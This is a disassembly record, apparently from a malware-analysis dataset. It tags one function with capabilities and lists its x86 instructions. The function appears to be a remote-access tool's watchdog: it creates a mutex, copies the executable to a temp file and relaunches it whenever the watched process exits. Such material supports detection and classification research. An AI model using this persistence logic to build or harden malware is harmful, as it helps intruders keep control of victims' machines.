Function at 0x40f785
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
push str.Mutex_RemWatchdog
push 1
xor ebx, ebx
mov dword [ebp - 4], ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x104
lea eax, [ebp - 0x840]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x46c560
mov ecx, esi
call fcn.00402469
push eax
mov ecx, esi
call fcn.00401f75
push eax
push 0x208
lea eax, [ebp - 0x228]
mov edi, 0x46c518
push eax
push str.exepath
mov ecx, edi
call fcn.00401f75
mov edx, eax
call fcn.00410420
add esp, 0x14
test al, al
jne 0x40f7fe
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x1c]
call fcn.004020b5
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x228]
call fcn.00417334
test al, al
je 0x40f7f7
push dword [ebp - 4]
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x460868
mov ecx, edi
call fcn.00401f75
mov edx, eax
call fcn.004105a0
pop ecx
pop ecx
test al, al
je 0x40f9ce
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
lea eax, [ebp - 0x228]
jne 0x40f92e
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402469
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00401f75
mov edx, esi
mov ecx, eax
call fcn.0041729f
pop ecx
pop ecx
test al, al
je 0x40f8ac
lea eax, [ebp - 0x228]
jmp 0x40f92e
push 0x208
lea eax, [ebp - 0x638]
push ebx
push eax
call fcn.00431810
add esp, 0xc
lea eax, [ebp - 0x638]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x430]
push eax
push ebx
push str.temp_
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push str..exe
lea eax, [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402469
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00401f75
mov edx, esi
mov ecx, eax
call fcn.0041729f
pop ecx
pop ecx
test al, al
je 0x40f93b
lea eax, [ebp - 0x430]
push 1
push ebx
push ebx
push eax
push 0x45f6d4
push ebx
call edi
mov esi, 0x46c518
lea eax, [ebp - 4]
mov ecx, esi
push eax
push 0x4603f4
call fcn.00401f75
mov edx, eax
call fcn.00410275
mov bl, al
pop ecx
pop ecx
test bl, bl
je 0x40f975
push 0x4603f4
mov ecx, esi
call fcn.00401f75
mov edx, eax
call fcn.004106d2
pop ecx
jmp 0x40f980
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
test bl, bl
je 0x40f940
push dword [ebp - 4]
xor ebx, ebx
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x460868
mov ecx, 0x46c518
call fcn.00401f75
mov edx, eax
call fcn.004105a0
pop ecx
pop ecx
test al, al
jne 0x40f863
push 1
jmp 0x40f7f8